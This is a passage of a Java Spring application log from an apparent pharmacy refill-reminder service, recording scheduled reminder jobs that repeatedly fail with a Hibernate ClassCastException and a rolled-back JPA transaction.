org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 08:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 08:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 08:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 08:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 08:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 08:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 08:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 08:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 08:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at 